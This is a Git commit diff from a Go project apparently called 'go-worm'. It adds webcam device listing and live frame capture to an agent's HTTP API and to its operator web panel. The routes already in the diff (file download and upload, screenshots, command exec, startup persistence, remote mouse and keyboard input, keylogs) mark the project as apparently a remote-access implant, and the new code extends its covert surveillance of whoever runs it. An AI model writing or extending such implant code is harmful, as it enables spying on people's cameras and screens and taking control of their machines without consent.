Add webcam functionality to the agent's API and web interface. Implement endpoints for listing available webcams and capturing frames, along with corresponding UI elements for device selection and frame display. Update OpenAPI specification to include new webcam features, enhancing user interaction with webcam devices.
This commit is contained in:
@@ -75,6 +75,8 @@ func (a *Agent) Serve() error {
|
||||
mux.HandleFunc("/api/v1/download", a.handleDownload)
|
||||
mux.HandleFunc("/api/v1/upload", a.handleUpload)
|
||||
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
|
||||
mux.HandleFunc("/api/v1/webcam", a.handleWebcam)
|
||||
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
|
||||
mux.HandleFunc("/api/v1/exec", a.handleExec)
|
||||
mux.HandleFunc("/api/v1/startup", a.handleStartup)
|
||||
mux.HandleFunc("/api/v1/input/click", a.handleClick)
|
||||
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/openapi"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/startup"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/webcam"
|
||||
)
|
||||
|
||||
func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) {
|
||||
@@ -290,6 +291,71 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = w.Write(frame.Data)
|
||||
}
|
||||
|
||||
func (a *Agent) handleWebcam(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
devices, err := webcam.List()
|
||||
if err != nil {
|
||||
helpers.Log.Printf("webcam list: %v", err)
|
||||
helpers.WriteError(w, http.StatusServiceUnavailable, "webcam list failed")
|
||||
return
|
||||
}
|
||||
if devices == nil {
|
||||
devices = []webcam.Device{}
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"devices": devices})
|
||||
}
|
||||
|
||||
func (a *Agent) handleWebcamFrame(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
format := strings.ToLower(strings.TrimSpace(r.URL.Query().Get("format")))
|
||||
if format == "" {
|
||||
format = "jpeg"
|
||||
}
|
||||
if format != "png" && format != "jpeg" {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "format must be png or jpeg")
|
||||
return
|
||||
}
|
||||
quality := 80
|
||||
if raw := r.URL.Query().Get("quality"); raw != "" {
|
||||
var err error
|
||||
quality, err = strconv.Atoi(raw)
|
||||
if err != nil || quality < 1 || quality > config.MaxImageQuality {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "quality must be between 1 and 100")
|
||||
return
|
||||
}
|
||||
}
|
||||
device := 0
|
||||
if raw := r.URL.Query().Get("device"); raw != "" {
|
||||
var err error
|
||||
device, err = strconv.Atoi(raw)
|
||||
if err != nil || device < 0 {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "device must be 0 or greater")
|
||||
return
|
||||
}
|
||||
}
|
||||
frame, err := webcam.Capture(device, format, quality)
|
||||
if err != nil {
|
||||
if errors.Is(err, webcam.ErrDeviceNotFound) {
|
||||
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
helpers.Log.Printf("webcam capture: %v", err)
|
||||
helpers.WriteError(w, http.StatusServiceUnavailable, "webcam capture failed")
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", frame.ContentType)
|
||||
w.Header().Set("Content-Length", strconv.Itoa(len(frame.Data)))
|
||||
w.Header().Set("X-Webcam-Width", strconv.Itoa(frame.Width))
|
||||
w.Header().Set("X-Webcam-Height", strconv.Itoa(frame.Height))
|
||||
_, _ = w.Write(frame.Data)
|
||||
}
|
||||
|
||||
func (a *Agent) handleClick(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
|
||||
+87
-1
@@ -21,10 +21,16 @@
|
||||
const videoStop = document.getElementById("video-stop");
|
||||
const videoInteract = document.getElementById("video-interact");
|
||||
const videoKeyHint = document.getElementById("video-key-hint");
|
||||
const webcamCanvas = document.getElementById("webcam-canvas");
|
||||
const webcamMeta = document.getElementById("webcam-meta");
|
||||
const webcamDevice = document.getElementById("webcam-device");
|
||||
const webcamStart = document.getElementById("webcam-start");
|
||||
const webcamStop = document.getElementById("webcam-stop");
|
||||
|
||||
let objectUrls = [];
|
||||
let videoRunning = false;
|
||||
let videoTabActive = false;
|
||||
let webcamRunning = false;
|
||||
let selectedLogName = "";
|
||||
let lastMonitor = { left: 0, top: 0, width: 0, height: 0 };
|
||||
|
||||
@@ -308,6 +314,76 @@
|
||||
releaseRemoteModifiers().catch((err) => showError(err.message));
|
||||
}
|
||||
|
||||
async function refreshWebcams() {
|
||||
const res = await api("/api/v1/webcam");
|
||||
const data = await res.json();
|
||||
const devices = data.devices || [];
|
||||
const prev = webcamDevice.value;
|
||||
webcamDevice.replaceChildren();
|
||||
if (!devices.length) {
|
||||
const opt = document.createElement("option");
|
||||
opt.value = "";
|
||||
opt.textContent = "No webcams found";
|
||||
webcamDevice.append(opt);
|
||||
webcamMeta.textContent = "No capture devices";
|
||||
return;
|
||||
}
|
||||
for (const device of devices) {
|
||||
const opt = document.createElement("option");
|
||||
opt.value = String(device.index);
|
||||
opt.textContent = `${device.index}: ${device.name}${device.version ? ` (${device.version})` : ""}`;
|
||||
webcamDevice.append(opt);
|
||||
}
|
||||
if ([...webcamDevice.options].some((o) => o.value === prev)) {
|
||||
webcamDevice.value = prev;
|
||||
}
|
||||
webcamMeta.textContent = `${devices.length} device(s)`;
|
||||
}
|
||||
|
||||
async function pullWebcamFrame() {
|
||||
const device = webcamDevice.value;
|
||||
if (device === "") throw new Error("no webcam selected");
|
||||
const quality = clamp(document.getElementById("webcam-quality").value, 1, 100);
|
||||
const res = await api(
|
||||
`/api/v1/webcam/frame?device=${encodeURIComponent(device)}&format=jpeg&quality=${encodeURIComponent(quality)}`
|
||||
);
|
||||
const blob = await res.blob();
|
||||
const bitmap = await createImageBitmap(blob);
|
||||
if (webcamCanvas.width !== bitmap.width || webcamCanvas.height !== bitmap.height) {
|
||||
webcamCanvas.width = bitmap.width;
|
||||
webcamCanvas.height = bitmap.height;
|
||||
}
|
||||
webcamCanvas.getContext("2d").drawImage(bitmap, 0, 0);
|
||||
const w = Number(res.headers.get("X-Webcam-Width") || bitmap.width);
|
||||
const h = Number(res.headers.get("X-Webcam-Height") || bitmap.height);
|
||||
webcamMeta.textContent = `${w}×${h} · device ${device}`;
|
||||
bitmap.close();
|
||||
}
|
||||
|
||||
async function startWebcam() {
|
||||
if (webcamRunning) return;
|
||||
webcamRunning = true;
|
||||
webcamStart.disabled = true;
|
||||
webcamStop.disabled = false;
|
||||
while (webcamRunning) {
|
||||
const started = Date.now();
|
||||
try {
|
||||
await pullWebcamFrame();
|
||||
} catch (err) {
|
||||
showError(err.message);
|
||||
}
|
||||
if (!webcamRunning) break;
|
||||
const fps = clamp(document.getElementById("webcam-fps").value, 1, 10);
|
||||
await sleep(Math.max(0, 1000 / fps - (Date.now() - started)));
|
||||
}
|
||||
}
|
||||
|
||||
function stopWebcam() {
|
||||
webcamRunning = false;
|
||||
webcamStart.disabled = false;
|
||||
webcamStop.disabled = true;
|
||||
}
|
||||
|
||||
async function pullVideoFrame() {
|
||||
const quality = clamp(document.getElementById("video-quality").value, 1, 100);
|
||||
const monitor = clamp(document.getElementById("video-monitor").value, 0, 64);
|
||||
@@ -590,6 +666,16 @@
|
||||
startVideo().catch((err) => showError(err.message));
|
||||
});
|
||||
videoStop.addEventListener("click", () => stopVideo());
|
||||
document.getElementById("webcam-refresh").addEventListener("click", () => {
|
||||
refreshWebcams().catch((err) => showError(err.message));
|
||||
});
|
||||
webcamStart.addEventListener("click", () => {
|
||||
startWebcam().catch((err) => showError(err.message));
|
||||
});
|
||||
webcamStop.addEventListener("click", () => stopWebcam());
|
||||
document.getElementById("webcam-snap").addEventListener("click", () => {
|
||||
pullWebcamFrame().catch((err) => showError(err.message));
|
||||
});
|
||||
videoCanvas.addEventListener("click", (event) => {
|
||||
sendClick(event, "left").catch((err) => showError(err.message));
|
||||
});
|
||||
@@ -620,5 +706,5 @@
|
||||
listKeylogs().catch((err) => showError(err.message));
|
||||
});
|
||||
|
||||
Promise.all([loadHealth(), loadStatus(), listFiles("")]).catch((err) => showError(err.message));
|
||||
Promise.all([loadHealth(), loadStatus(), listFiles(""), refreshWebcams()]).catch((err) => showError(err.message));
|
||||
})();
|
||||
|
||||
@@ -134,6 +134,14 @@
|
||||
background: #111;
|
||||
}
|
||||
#video-canvas.view-only { cursor: default; }
|
||||
#webcam-canvas {
|
||||
width: 100%;
|
||||
height: auto;
|
||||
display: block;
|
||||
border: 1px solid var(--line);
|
||||
border-radius: 8px;
|
||||
background: #111;
|
||||
}
|
||||
label.check {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
@@ -216,6 +224,7 @@
|
||||
<button data-tab="files">Files</button>
|
||||
<button data-tab="screenshot">Screenshot</button>
|
||||
<button data-tab="video">Video</button>
|
||||
<button data-tab="webcam">Webcam</button>
|
||||
<button data-tab="exec">Command</button>
|
||||
<button data-tab="logs">Logs</button>
|
||||
</nav>
|
||||
@@ -294,6 +303,25 @@
|
||||
<span class="meta">Toggle sticky modifiers · type anywhere on this tab</span>
|
||||
</div>
|
||||
</section>
|
||||
<section id="webcam" class="panel">
|
||||
<div class="row">
|
||||
<button id="webcam-refresh" type="button">Refresh devices</button>
|
||||
<label>Device
|
||||
<select id="webcam-device" style="min-width:12rem"></select>
|
||||
</label>
|
||||
<button id="webcam-start" class="primary" type="button">Start</button>
|
||||
<button id="webcam-stop" type="button" disabled>Stop</button>
|
||||
<label>FPS
|
||||
<input id="webcam-fps" type="number" min="1" max="10" value="2" style="width:4.5rem">
|
||||
</label>
|
||||
<label>Quality
|
||||
<input id="webcam-quality" type="number" min="1" max="100" value="70" style="width:5rem">
|
||||
</label>
|
||||
<button id="webcam-snap" type="button">Snapshot</button>
|
||||
</div>
|
||||
<canvas id="webcam-canvas" width="640" height="480"></canvas>
|
||||
<p id="webcam-meta" class="meta"></p>
|
||||
</section>
|
||||
<section id="exec" class="panel">
|
||||
<div class="row">
|
||||
<textarea id="exec-command" placeholder="ipconfig /all"></textarea>
|
||||
|
||||
Reference in New Issue
Block a user